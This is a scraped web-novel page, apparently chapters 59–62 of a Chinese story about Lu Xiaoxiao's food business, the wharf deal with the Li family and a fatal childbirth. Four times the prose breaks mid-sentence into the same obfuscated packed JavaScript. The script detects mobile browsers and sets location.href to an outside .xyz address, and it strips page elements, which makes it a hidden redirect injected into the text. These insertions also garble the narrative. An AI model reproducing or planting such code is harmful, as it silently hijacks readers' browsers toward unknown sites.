钱攒攒还会有的，该花还得花，卢晓晓自我安慰道。想到这，卢晓晓重新振作起来，“不知能否请张管事帮忙引荐一二，事成之后定有重谢。” “小娘子，不是我不想帮忙。你知道码头上带棚子的吃食地儿只有一处吧?”张管事道。 “这我知道，是茶亭那卖面条的，我在那吃过一回，清汤寡水的，没什么味道。”胡二老爷回忆道。 “是，只那处儿有桌椅板凳，别的只有个小摊子，都没个坐的地方。”卢晓晓已经去码头上仔细看过了。 “虽说要留足人行、车行的空间，码头那样大的地方，总是能匀出三两个棚子的地儿的。为何只有那一处?”张管事顿了顿。 接着又放低声音说道，“只因那是李管事的生意，那卖面条的老夫妇有个女儿，做了李管事的姘头。这小娘子很是有些手段，媚得李管事给她买了宅子，又将这处生意交与她。” 卢晓晓一时间哭笑不得，不知如何接话，没想到谈生意还能谈出八卦来，这种桃色消息，她一个小姑娘也不好接话。 胡二老爷倒是听得津津有味的。 若是卢晓晓的麻辣烫生意，能许李管事重利，他是不会不同意的，可这对张管事有什么好处呢?张管事更想自己得这份利呢！ 李家的管事们分两种，一种是合家身契都在李家的，另一种是从外边赁来的，赁来的管事得不着有油水的缺儿，张管事就是后者。 张管事是想做个牵线的中间人，将这生意介绍给胡家。这也是胡二老爷会在这的原因，不然谁人会在谈事情的时候带上个不相干的人? “小娘子，我若是帮了你，就是得罪了李管事，那李管事在李家的背景可深，他大伯是李家的大管事，我可得罪不起。” 接着又道，“码头上虽说人来人往的，可在那棚子里吃食的能花几个钱?照我说，小娘子不若在码头附近开间卖火锅的酒楼，到时候我在码头上把客人往那一引，岂不是更美。” “不行，不行，我们哪有开酒楼的钱和人呀！我们这是小本买卖，可不敢开酒楼。”卢晓晓连连摇头，开酒楼费精力，风险又大，关键她是想靠上李家，不是想开酒楼。 话说到这，都不见胡二老爷提议要合作，张管事不禁在心中暗骂这胡二老爷真是草包，商机在眼前都抓不住。 两人临走时，卢晓晓还是给张管事塞了五两银子，只求他再帮忙琢磨琢磨，看如何能在码头上开个麻辣烫铺子。 又过了十几日，天气越来越冷，码头卖麻辣烫的事却是一点进展都没有，卢晓晓是愁得很。 何衙差昨日偷偷让人捎信过来，让她赶紧寻处靠山，马里长已经发话了，让他们好好“关照”卢记食坊。 “小娘子，给我来份小碗麻辣烫，加两颗虾丸，两颗牛肉丸，再要份鸭血。” 自打立冬那日招待了张管事，卢晓晓就在铺子里卖起了麻辣烫。麻辣烫一经推出，大受好评。不说麻辣鲜香的味道让人欲罢不能，就说这冬日里能吃上一碗热锅煮出来的热乎乎的吃食，也叫人觉得极其熨帖。 “江小娘子来啦，你先坐，我一会就给端过去。” 江月瑶寻一处离麻辣烫档口近的座位坐下，百无聊赖地看着卢晓晓煮麻辣烫。 只见她烫菜、起勺、加料，行云流水一般，不一会儿，就端来了一碗热腾腾香喷喷的麻辣烫。 “小娘子，今日怎么没跟江大爷一道来?”卢晓晓招呼道。 “前两日爷爷有些咳，大夫嘱咐他吃清淡些，奶奶担心他出来胡吃，拘着不让他出来，我馋你们家的麻辣烫，就自个出来啦。” “可好些了?老人体弱，如今天气冷了，是得注意些。” “已经大好了，嚷着让我带些回去呢！小娘子，小娘子你们生意是越来越好了，可还需要帮手?” “如今人手是够的，小娘子如何这样问?” “我在家没什么事干，最喜欢的就是做吃食，爷爷奶奶吃得简单，就想着找个活儿干。” “我们这巴掌大地儿，干活的人手很是够了，灶房又是我二哥在管事，小娘子去灶房，多有不便。”人手还是紧张的，可江小娘子那一身绸衣她也不敢用呀。 “那确实是不便。”提起卢二郎，江月瑶便想到了那日闹出的误会。 那日赵杏花介绍完，卢二郎先是一个大脸红，接着又紧张地自我介绍起来，等几人反应过来的时候，卢二郎已经把家底抖搂干净了。 这样实诚的人是少见的，江月瑶不觉得讨厌，只觉得好笑。 她这次是躲婚回的城关镇，鼎丰楼的大少爷看上了她。东家虽说很是看重江爹，可也不同意店里掌勺的女儿做自己的儿媳妇。江家自然也不愿意她去做妾，这才把她送了回来。 想到这，江月瑶摇了摇头，烦心的事就不要想了，城关镇上有意思的人和事这么多，她来这也没什么不好的。 一口气吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680733|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了小半份麻辣烫，吃得人都热乎起来了，江月瑶想若是此时有一碗香饮子就更好了。 江月瑶这么想，也这么说了出来。 香饮子在宋朝很是流行，夏季的时候，街头随处可见，可如今进入冬季，镇上就没有卖的了。 江月瑶的感叹提醒了卢晓晓，香饮子成本低做法简单，与这麻辣烫又最是搭配，若是铺子能做些香饮子卖，生意定是差不了。 第二日，卢晓晓便托回村的卢大贵摘些紫苏叶子回来，自己则去商行里买了一斤乌梅。 等到了晚上，先将洗净的紫苏叶子，小火焙干，乌梅去核绞成果条，存入罐中便于取用。接着取几片紫苏叶，若干乌梅泡入温水中，再置于火上，大火煮沸后，加入糖块，小火熬煮上一刻钟，让紫苏和乌梅的味道充分融入汤中。 煮好的紫苏乌梅饮口感醇厚，香味浓郁，再放上一夜，冷冽冰爽。第二日，又熬上一锅热的，两文钱一杯，冷热由人。 这冬日里卖香饮子的小铺，卢记食坊独一家，店里的人点的多，好些客人还买回家中哄孩子。 铺子里的生意红火，可李家的事却毫无进展。卢晓晓在铺里捡了几样吃食，打了二斤芙蓉酒，去码头找张管事。 张管事只说没寻到机会。 眼见十月就要过去，卢晓晓越发地心急起来。到了十月底，镇里收完农税，就要收各商户的住税了。 住税的算法虽有据可依，可算的时候水可深了，若是在镇衙里有人，十分利交的税不足半分，若是被针对，交三四分利都是少的。 这些都是卢晓晓找何衙差打探来的，要不怎么商户都爱往这当官的眼前凑，官商勾结就是这么来的。 卢晓晓回了铺子，卢二娘子见她兴致不高，嘱咐春芬照料下档口，便跟着去了后院里屋。 “晓晓，还是不成吗?咱要不还是靠了马家娘子?这马上要收税了。” 开铺子的税如何收，卢家人是不知道的，可他们见过收秋税呀。同是一石粮食的税，交起来都有多有少的，少的只是虚虚的一石，多的时候，乡役是先摇后压，那稻谷是盛得密密实实的。 “再等等吧，这会儿投过去，马家怕是要的不少，看看还有没有别的路子。”卢晓晓道，想着晚食再去何衙差家打探下。 “娘、姐姐，我回来了！”院子里传来卢三郎的声音。 “怎的这样早就回来了?可是出了什么事?”母女俩闻声出来。 往日里，卢三郎都与同窗读书读到铺子快打烊才回家，如此晚上就能帮忙干活，还能省灯火。 “娘、姐姐，有事，有大好事，咱家跟李家做生意的事情有眉目了！” 60. 第 60 章 “快进屋里说。”三人又进了屋里。 “怎么回事?你不是好好在学堂里读书吗?怎么扯到生意上了?”卢晓晓一连串地发问。 如今她只想卢三郎全身心地投入读书中，早日取得功名。在这世上没有个依仗，真是贱如草芥。 “姐姐，你听我说，我也不知道怎么回事，平日与马家少爷交好的一个李姓师兄，前几日突然对我热情起来，昨日上咱家铺子吃了麻辣烫，今日说他家经营了镇上的码头，觉得这麻辣烫在码头上卖正好，想要邀你过府一谈，我便赶紧回来了。” 事情回到几日前的明微学堂。马文远又一次欺负卢三郎，把他抄录的书都毁了。 马文远便是马家的大少爷，仗着自己的爹在镇上当里长，平日里拉帮结派没少欺负人。许是受了马里长的授意，近几日欺负卢三郎是越发地变本加厉。 卢三郎也知家里人正为马家的事情焦头烂额，便没说在学堂里被欺负的事，省得叫家人担心。 马文远欺负卢三郎不光是因为铺子的事情，还因为卢三郎入学不久，就能与学堂中的佼佼者交好。 明微学堂分甲、乙两班，甲班为基础好、学识好的学生，乙班为学识差或学堂新入的学生，两班以每月月考排名分班，在乙班连续三次月考排名前三便能升入甲班。 卢三郎入学不过一季，自是在乙班，与之交好的方卓言和孔令德则在甲班，杜子松几人苦读多年也在甲班。 说是分班，其实也不完全分开，学堂里正经授学的只有孔夫子一人，两个班大课一起上，小课分开上。 卢三郎虽是乙班的学生，因着杜子松的缘故，再加上他时常方卓言和孔令德求教，又时常给同窗带吃食，在甲班也很混得开，这就碍了马文远的眼。 这一回，马文远先是把他抄录的书毁了，又把原书弄得污脏，这一本书可值二两银子。 “马文远，你不要太过分了！”卢三郎怒道。 “卢怀义，我怎么过分了，我也是不小心的，谁叫你不放好书呢?哎呀，不小心又踩了一脚。”马文远一边说，一边又用脚踩了踩地上的书。 卢三郎不欲与他纠缠，弯腰去拾地上的书，准备告与夫子，谁知马文远却踩着书不放开。卢三郎一气之下推了他一把，马文远先顺势一倒，接着又说卢三郎打他，趁机动起手来。 马文远动手，他的狐朋狗友自然也不会落下，几人围着卢三郎打，好在有杜子松几人护着，又有人早早去叫了夫子，卢三郎才没挨实打。 这一下，孔夫子动了怒。因着马文远家中给的束脩多，又有马里长的面子，往日里几人在学堂里不学无术，他也是睁一只眼闭一只眼。 如今在学堂里就如此张横拔扈，还不敬圣贤书，简直不把他这个夫子放在眼里，“马文远，你给我过来！” 孔夫子一怒之下，罚了马文远，到这都跟李府没什么关系。 马文远的朋友中有一姓李的同窗，这人读书平平，平日在学堂中甚是低调，不欺负同窗，也不阻止马文远的胡作非为，马文远隐隐以此人为大，这人就是李府的二少爷。 李二少爷回家跟李家老爷把今日学堂发生的事细细一说，李老爷直说他愚钝。 “你啊你，你这样，爹往后怎么敢把生意交给你，看不清大局，又不会结交朋友。”李老爷叹道。 “爹，为何说这样的话?” “我问你，我送你去学堂，是为了让你考取功名，进入仕途吗?你那读书的悟性，我难道还指着你靠读书光耀门楣?” “我知道，爹是想要我多结交朋友，往后生意场上也多几分助力，可那学识好的看不起我出身商贾，不稀罕咱家的礼，不愿与我相交，我又有何办法?” “这你便错了，一次不行就两次，两次不行就三次，总能有机会与他们结交，今日的机会你就没把握住。”李老爷道。 接着又道，“你刚才说这被打的学生是乙班的?刚入学二月有余，方卓言几人就帮了他，这说明什么?” “说明他人缘好?”李二少爷迟疑地回道。 “说明他有本事，是可结交之人。还在乙班就认识这样多甲班的人，说明他善交际，学识好的人肯帮他，说明他读书有潜力。” 被李家老爷这么一说，到了第二日，李二少爷突然对卢三郎热情起来，不但替马文远赔了二两银子的书钱，还对卢记食坊大加赞誉。热情得让卢三郎摸不着头脑。 卢三郎也是随时不忘推销自家铺子里的吃食，当即就把麻辣烫介绍出去，李二少爷一尝，惊叹不已，觉得这麻辣烫非常适合在码头上卖。这才有了卢三郎回家说码头麻辣烫铺子的事。 “李二少爷是如何说的?可有说何时派管事过来谈合作?”卢晓晓问道。 “说让你到李府一谈，李家老爷想要见见你。”粉丝工坊开张的时候，李家老爷正在外地，回来听说卢记食坊的小娘子和元家还有县上做上了生意，不由另眼相看。 只是两家的生意没有交集的地方，又听说对方只是个开吃食铺子的灶娘，结交的事情才搁置了下去。 想不到卢小娘子年龄小，点子还不少，那边粉丝工坊刚刚起步，这边麻辣烫生意又做起来了。 到了约定这日，卢大郎特地跟方掌柜请了日假，陪着卢晓晓提前一刻钟到了宋府，请偏门上的婆子代为通传管事。 不一会儿，有一管事模样的人过来，开口问道，“可是卢记食坊的小掌柜?” “正是小女，不知管事如何称呼?这是小女的哥哥，在书肆中干活，略懂生意之事，陪我一道来的。” “小老儿姓李，是宋府的管家，请两位一同随我进去吧，老爷在偏厅里等着了。” “有劳李管家带路了。”卢晓晓欠了欠身。 两个月后，腊八节，雪花纷扬，大地一片银装素裹。 正值年底返乡送礼之际，南来北往的客船货船络绎不绝，码头上熙熙攘攘。 阔别家中多月的段默苏从客船上下来，重新站到了城关镇的土地上。 见码头上有一处棚子热闹非凡，不由问码头上歇脚的脚夫，“大叔，那棚子处是何事，怎么这样热闹?” 脚夫见他着学子装，身后背着一个箱笼，热情道，“客官可要挑行李? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717766|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是刚从书院放年假回来吧，前面那处是卖麻辣烫的，一个多月前开的，味道可好了。” “不劳大爷了，行李我自己背就好，这麻辣烫是何物?” “麻辣烫就是麻辣烫呗！读书人还这么没见识。劳您让让，别挡着我接生意了。”脚夫见无生意，撇了撇嘴，嘴上骂骂咧咧。 段默苏不欲与他计较，摸了摸饥肠辘辘的肚子，还是决定先去卢记食坊买几个菜，再回家和娘一道吃，今日腊八节，娘在家中定是熬好了软糯香甜的腊八粥。 铜锣巷，卢记食坊。 卢晓晓一大早就开始熬腊八粥了，腊八粥的历史记载最早可以追溯到宋朝，传说腊月初八这天释迦牟尼开悟成佛，汴京的各大寺庙便在这日用糯米、红豆和五种果品凑成七宝五味熬制成粥，发放百姓，是以腊八粥又称为佛粥。 卢晓晓熬的腊八粥是按照现代的配方熬制的，用了不止七种食材，主食材有糯米、黑米、薏米、红豆、绿豆，果品有桂圆、莲子、栗子、葡萄干、红枣。 前一日将莲子去芯洗净，红豆、黑米淘洗干净，提前泡上一夜。早起将薏米洗净，浸泡水中，绿豆洗净后碾碎，用热水浸泡后除去豆衣。然后将桂圆剥皮去核，栗子剥壳去衣，葡萄干、红枣、糯米淘洗干净。 取一大锅，锅中加入冷水，放入泡好的红豆、莲子、黑米，大火煮沸后，加入绿豆和薏米，再次煮沸后，加入桂圆、葡萄干、糯米继续熬煮至沸腾，转小火煮上一刻钟，放入红枣，熬上小半个时辰后加入糖，最后焖煮片刻起锅。 卢晓晓熬的腊八粥用料足，味道好，浓香粘稠，香甜可口，不过三文钱一碗，卖得甚好。 等段默苏来卢记食坊的时候，腊八粥已经卖了干净。“小娘子，给我做三个肉夹馍，加生菜的，再给我包两份炙鸭卷。”段默苏一边说，一边在铺子前抖落伞面上的雪。 “客官您进铺子里坐一坐，稍等片刻。”卢春芬迅速地从温热的锅中夹出三大块红烧肉，将肉剁碎，又将生菜叶片切碎，混到一块，塞入饼中，最后再用油纸包裹好。接着又从蒸笼中拿出两份炙鸭卷包好。 铺子里的老客中有识得段默苏的街坊邻居，开口招呼道，“默苏回来啦?金山书院如何呀?你娘可盼着你回来。” “张叔，书院放年假，我便回来了，金山书院很是不错，师长博学，同窗友爱，与宋家学堂无二。”卢默苏认认真真地回道。 段默苏将伞收好，走入铺子里，发现铺子与先前大有不同，快餐档口的范围小了不少，匀出的空间里多了一口汤锅，后面是一个架子，架子上是一个个竹筐、大碗，框里、碗里盛有菜品。空气中弥漫着浓郁的芝麻香气，隐约中还带有一丝辛辣气味。 只见卢二娘子从架子上取下菜品，依次放入漏勺中煮熟，盛于碗中，淋上一大勺棕色的料汁和一小勺红油，再唤赵杏花将麻辣烫端给客人。 段默苏开口道，“卢娘子，这便是麻辣烫?我看码头上有一处棚子甚是热闹，听说是卖麻辣烫的。” “正是，那码头那的麻辣烫也是我们提供的菜和料汁，段公子可要吃上一碗?” 61. 临盆 “刚才那一碗要多少钱?”段默苏问道。 “小份麻辣烫十文钱，大份麻辣烫十二文钱，刚才那一碗是大份麻辣烫加了两颗鱼丸，一共是十七文钱。”鱼丸难处理，虾丸食材贵，要比猪肉丸、鸡肉丸贵上一些。 “改日再来尝尝，我离家已久，今日母亲在家中已等候多时。”段默苏付了钱，取过吃食往家走去。 段家是赁的屋子，与卢记食坊隔了两条街，是处一进的老宅子，段母赁了西边两间厢房，又在门口填了口炉子，又在墙角搭了处小棚，盥洗用。 往日里，段母忙着给人浆洗衣服，段默苏忙着读书，两人就用炉子煮些简单的吃食，逢年过节的时候再从街上买些吃食回去，倒也不觉得过得不好。 段默苏到家的时候，家中空落落的，问同院子的李婶，说段母今日去张家浆洗衣服还未回来。 将箱笼和吃食放入屋中，段默苏往张家走去，到了张家，只见张家院子里摆着好几个大木盆，每个木盆前坐着位妇人，边上还有装着脏衣服的木桶。 段母在膀大腰圆的洗衣妇人间，略显瘦小，别的妇人都是一边洗，一边说着东家长西家短的闲话，只段母一人安安静静地浆洗衣物，段默苏一眼就瞧见了她。 “默苏娘，你儿子回来了。”有靠近院门口的妇人提醒道。 段母猛一抬头，见到数月未见的儿子，好生欢喜，沉闷的脸色顿时鲜活起来，露出了喜悦的笑容，柔声道，“默苏，你在外头等娘一会儿，娘马上就洗完了。”说罢，更加卖力地洗手中剩下的衣服。 “方娘子洗得就是快啊，我们还有小半桶，你这都洗完了。”一妇人道。 “要不是方娘子洗的又快又好，东家怎么特地去把人叫了回来呀！”另一妇人道。 段母笑笑，不说话，等洗完最后一件衣服，便拎着洗净的衣服去东家那结账，洗衣服是日结，一桶五文钱，段母一日能洗七八桶。 洗衣服费腰，每次洗完都觉得腰僵得不像话。拿了钱，段母揉了揉腰快步往院子外走去，出门见到儿子，见儿子高了不少，气色不错，这才安心。 段默苏上前扶住母亲，往家中走去。 “娘，你不是答应我不来张家浆洗衣服了吗?我在书院要使的钱不多，府城书肆抄书的报酬也高些，咋俩的生活够了。” “娘已经跟东家说了，东家叫我做完这个年节，这年底大户人家要洗的衣服多。”段母嗫嚅道。 “明日我就去找张家说一说，这冬天洗衣冷，您身体弱，大夫不是叫您注意防寒吗?”段默苏道。 “行，娘听你的，今日腊八，娘昨日买好了食材，一会儿回去就煮腊八粥给你吃，''这次回来待多久?” “书院正月初八复课，我寻思着初六早些过去，给书院里的夫子们带些城关镇特产，再拜个年。” “是要这样，这几日，你还要去宋家学堂一趟，给你两位恩师拜个早年。还有你表哥，你去书院这些日子，读书上有什么收获也与他说一说?你叔母虽然刻薄，你表哥待你却不错。做人要知感恩。”段母絮絮教导道。 穷困让段母的两鬓染上了风霜，却没有磨灭她做人的志气。 有人受人恩惠就时时想着报恩，有人却将恩情当做自己应得的，不思感恩，还多加嫌弃。 卢晓晓二伯家分家已有数月，先头的两个月两家人是各过各的。近一个月，秀珠临盆的日子近了，卢大娘子看着秀珠硕大的肚子，忧心不已，好几次让大儿子劝劝秀珠少吃些、多活动，秀珠都觉得他们是不想给她吃好的，全然不理会。 卢大娘子没了法子，只好让卢怀德少往远处走，若是出门就把卢春芳喊家里去，不说照顾秀珠，就是看着她也是好的。又提前寻了产婆，花钱托韩郎中准备了些妇人生产用的药。 可就这样，秀珠还是出了事。 临近年关，卢怀德接了个报酬颇丰的短工，秀珠不耐卢春芳来家中看顾她的时候，这不让吃，那不让她躺。 腊八这日，她大姐秀珍捎口信来说，要给她送腊八粥，卢怀德出门的时候，就没让他去唤卢春芳过来。 腊八过节，卢春芳想着哥哥许是今日留在家中，未出门去，家中又事多，也就没过去。 秀珍是过来了，送了两碗腊八甜粥，说了会儿话，又回去了，秀珠也知自己即将临产，很是小心，白日里倒也没有出什么事。 到了晚食的时候，卢大娘子也端了两碗腊八甜粥过来，秀珠喜吃甜，这两碗甜粥又尽数进了她的肚里。 到了夜间，突然发动起来，卢怀德赶紧去叫卢大娘子，各人按安排好的行动起来，叫产婆的叫产婆，喊郎中的喊郎中，烧水的烧水，卢大娘子自己又赶过去陪着。 秀珠发动的是又快又急，产婆来的时候已经开指，原以为顺利得很。可产婆进了里屋一摸，大呼不妙，只因秀珠胎位不正。 等韩郎中又施药，又施艾灸，产婆又施以手法，折腾大半宿，好不容易把胎位正过来，秀珠已是虚弱不堪。 还没等大家舒口气，产婆又出来说，不好了，胎儿太大，出不来了，保大人还是保胎儿。产婆还说，胎儿太大了，就算是保大人，也只能保住性命，母体有损，往后也再难生养了。 已是分了家，卢大娘子便不好拿主意了，只是对卢怀德说，秀珠嫁与你，也没享什么福，若是为了孩子，舍了她，你这辈子都心难安。 卢怀德没有多犹豫，对产婆道，“婶子，尽量都保，若实在保不了，就保大人。” 产婆听了话刚要进去，却被刚到的秀珠娘拦了下来。生孩子是闯鬼门关，先前见秀珠胎位不正，卢大娘子就让卢怀才去接了秀珠娘过来。 “保孩子，尽量保孩子，谁人生孩子不是闯鬼门关?怀德，你听娘的，保孩子，秀珠养得好，能熬过去的。” 若是秀珠不能生养，岂不是会被休了送回娘家?秀珠娘由己度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725840|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，只道人人都如她一般刻薄，是以坚持要保孩子。 所谓保孩子，也不是就一定舍了母亲的性命，只是会对母体伤害更大一些。秀珠娘寻思，秀珠若是为了生孩子有伤，说不定卢家会把娘俩接回去照顾，分家的事也就不了了之了。 如今卢大娘子在粉丝工坊做管事，卢怀才又在工坊做工，卢家还有养兔子的收入，日子是越过越好，前些日子还买了骡子，买了车。秀珠小夫妻两只有那几亩地的产出，他们张家是半点便宜占不到，还时常要给秀珠送些吃食。 “不若听秀珠自己的吧！”卢大娘子提议道。产婆进去问了秀珠，秀珠说要保孩子。 又过了快一个时辰，里屋传出一声啼哭，哭声不大，却让人觉得犹如天籁。秀珠听到哭声，强撑着问了是男是女，得到了回答，才卸了劲。 众人在屋外如释重负。不一会儿，产婆抱出一襁褓，喜色道，“恭喜，恭喜，生了大胖小子。” 卢大富接过来一看，果然是大胖小子，生的是又白又胖，有八九斤重的样子。秀珠娘跟出来得意道，“我就说听我的吧，我们老张家生得娃都好，壮实。” 话没说完，进屋看秀珠的产婆跑了出来，面露惊色，大呼道，“郎中，郎中快进去，娘子大出血了，止不住了！” 第二日，卢记食坊卖完早食就打了烊，卢晓晓一家人回了杜家村，秀珠最终没能止住出血，失了性命，临终前只求卢大娘子把孩子接回卢家喂养，卢大娘子含泪答应了。 秀珠没了，卢怀德失了神，卢大娘子将卢怀德的东西和孩子一道接回了家中，又在村里找了一生产完正在喂奶的娘子，请人帮忙奶几口孩子，接着又忙着张罗秀珠的丧事。 卢晓晓一家回到村里的时候，卢怀德失神地坐在院子里，他想不明白昨日里还生龙活虎要喝两碗腊八粥的人怎么就没了。屋里传来的孩子的啼哭声让他陌生，丧妻的悲痛掩盖了为人父的喜悦，但是秀珠临终前的嘱咐又让他对孩子有了更多的羁绊。 “怀德，逝者已往，往后带着孩子好好过日子吧！”卢二娘子安慰道。 “婶子，我知道的，我就是一时想不明白，怎么好好的，就这样了?” “堂哥，世事无常，你要保重，孩子往后还得靠你呢，秀珠嫂子也定是希望你好好生活、好好带孩子。” 卢怀德只点了点头，没再说什么。 这样大的噩耗，卢晓晓都要花些时间消化，更别提与秀珠日夜相处的卢怀德了，众人对卢怀德状态很是理解。 等几人帮忙把丧事的东西准备妥当，天已擦黑，回到老宅中，早早地歇下了。 第二日一大早，门口传来叩门声，卢二娘子想着是不是那边出什么事了，赶紧去开门。开门一看，原来是隔壁的杜春花。 “婶子，我听说你们回来了，担心你们回来的匆忙，没空准备早食，给你们送几张饼，这饼是我做的，比不上铺子里做的，但也还行。” 62. 卤味腊味 卢二娘子松了口气，还好不是秀珠娘家来闹事，道，“春花，你有心了，婶子谢过你了，如今过得如何?家中的事可都解决了?” “婶子说谢真是臊我，若是没有晓晓的主意，我跟孩子如今还被那黑心的一家子磋磨。家中的事解决得差不多了，里正把宅子和田地还给了我，孩子爹的抚恤钱也给了大半。” 接着又道，“我把宅子卖了，田地赁了出去，带着孩子回了村里，打算明年开春，就请人在北面的那块地上搭两间屋子，能住下我们娘仨，又有间灶房就成。” “这样好，你是果断的孩子，这里正许是为了明年选里长造势才主持的公道，你如今搬回来住，若是那里正日后反悔，也不易管到你。” 卢晓晓熬了锅稀饭，就着杜春花送来的几张饼，几人草草地吃了早食，又往卢大富家去了。 事情昨日已忙活的差不多，卢大贵夫妇留下来帮忙招呼来吊唁的亲朋好友，卢晓晓兄妹几人回了镇上，等到明日出殡又再过来。 灵堂设在了夫妻俩的小宅里，村里邻里的人都过来了一趟，直说秀珠可惜了，那么能干孝顺的一孩子，年纪轻轻就没了，劝卢怀德节哀。 秀珠娘家人是中午来的，来了秀珠爹娘、大姐和二哥。一进门，秀珠娘就哭嚎上了。 “我苦命的女儿啊，你那么年轻，娘恨不得替你去了，怪娘没有照顾好你呀，大着肚子被分了家，日日要操持家务啊！” 好在卢大娘子有准备，远远见张家人过来，就把客人们请到了大宅那边招待，又叫春芬在门外守着。如今灵堂中只有卢、张两家人。 卢大娘子冷眼看着秀珠娘倒打一耙地胡说，不去劝，也不去拉，秀珠爹见氛围不对劲，扯了扯秀珠娘。 “扯什么扯，我女儿没了，还不许我多哭一会儿，都是他们卢家做人不厚道，把秀珠小夫妻两分了出去，才害她没了性命，我就说要去镇衙把他们告了，你偏拦着不让。”秀珠娘停止了哭嚎，指桑骂槐道。 “爹、娘，秀珠没了，我们也很难过，这都是意外，产婆说孩子太大了，是我没照顾好秀珠，跟我爹娘没关系。”卢怀德忍着悲痛劝道。 秀珠爹不理会他，对卢大娘子说道，“亲家，你别往心里去，秀珠娘也是失了最最疼爱的女儿，一时胡言论语，咱还是一家人，哪要闹到镇衙上，咱自家解决就成。” “您这声亲家我可担待不起，咱俩家先前就断了往来。您家今日不是来吊唁秀珠的吗?我不知道咱俩家有什么需要解决的事。”卢大娘子见张家来者不善，毫不客气地回道。 “你这么说话就不中听了，我还叫你一声亲家，是不想把事情闹大。我们把秀珠养那么大，嫁到你家，大着肚子被你们分了出去，如今人没了，你们难道不要给个交待?”秀珠爹板了脸。 “交待?交待秀珠被你们教唆偷家中吃食方子，还是交待秀珠临盆的时候，她娘要产婆保孩子舍大人?你们也别想狡辩，这前者当初秀珠签了悔过书，认了偷方子的事，后者我也让郎中和产婆写了昨日生产的经过。”卢大娘子一顿说。 秀珠爹哑了声，秀珠娘捶胸顿足道，“你们真是狼心狗肺呐！我让秀珠冒着生命危险生下了你们卢家的长孙，如今全成了我的过错啊。我可怜的秀珠呀！我的心肝呀！” “你们欲如何?”卢大娘子不耐听他们在这胡说，开门见山问道。 “赔钱，要赔我们没了女儿的钱，她还给你们留了个孙子，少说得赔一百两银子，对，得要一百两。”秀珠娘斩钉截铁道。 卢怀德想上前说些什么，被弟弟拉住了。卢怀才拉住他，小声道，“哥，为了元生，听娘的。”元生便是秀珠生下的孩子。 卢大娘子只觉得这张家真是滑天下之大稽，张口就要一百两，怎么不去抢? “要钱没有，说起孩子，如今那孩子没了娘，怀德一个大男人也养不了。我记得你家二儿媳妇也快生了吧，不若你们带回去，一道养了，外孙也是孙。”卢大娘子道。 “这怎么行，他是你们卢家人！合该你们养他。”秀珠娘急赤白脸道。 “我们分家了，可管不到这孩子。他是秀珠用性命保住的，往后跟着你们正好，也能宽慰你们对女儿的念想。”卢大娘子推说。 “我们要这孩子干什么！我们要钱。”眼见这个拖油瓶就要甩给自家，秀珠娘赶紧撇清。 “你们若是不要这孩子，只要立下字据说与这孩子再无关系，我就做主给你们二十两银子。” “二十两太少了，能干什么?”秀珠娘分辩道。 “就这么多，不要就当我没说，这孩子我们是不会管的。”卢大娘子说罢，便不再说话。 张家二郎拽了拽他娘，道，“娘，就立下那字据吧，无关系更好，往后孩子有什么事都与咱家无关。” 秀珠娘也同意立那字据，只是想要更多的银钱，见卢大娘子不松口，这才答应下来。 解决了张家人，余下的事情就易做了，出殡、下葬，卢大娘子又从集市买了头产奶的母羊，把孩子安置妥当，这是后话。 且说卢晓晓几人回了镇上，李屠夫送来了几大扇猪肉。先前家资不丰，除夕那日往亲朋好友家端上一碗菜，拿上一块肉，买上两斤糖就做了年礼。如今住到了镇上，做起了买卖，就不能这般随意了。 李府、宋府、元府，这三家有往来的大户送的礼不能薄，何衙差那要打点，书肆方掌柜那要有所表示，还有店里的老客也要回馈一番。 腊月制腊味，卢晓晓决定做些腊肉腊肠作为年礼。提前让卢大贵在村里收了两头猪，送去李屠夫那宰杀。 年底猪价高，两头猪花了七两银子。一头猪一百来斤，不似现代的大肥猪，动辄三四百斤。 五花肉、后腿肉、前颈肉洗净割成条后，用竹签扎出小孔，将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781186|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调料炒热后，均匀地揉搓到肉上，一层落一层地放入缸中腌渍。 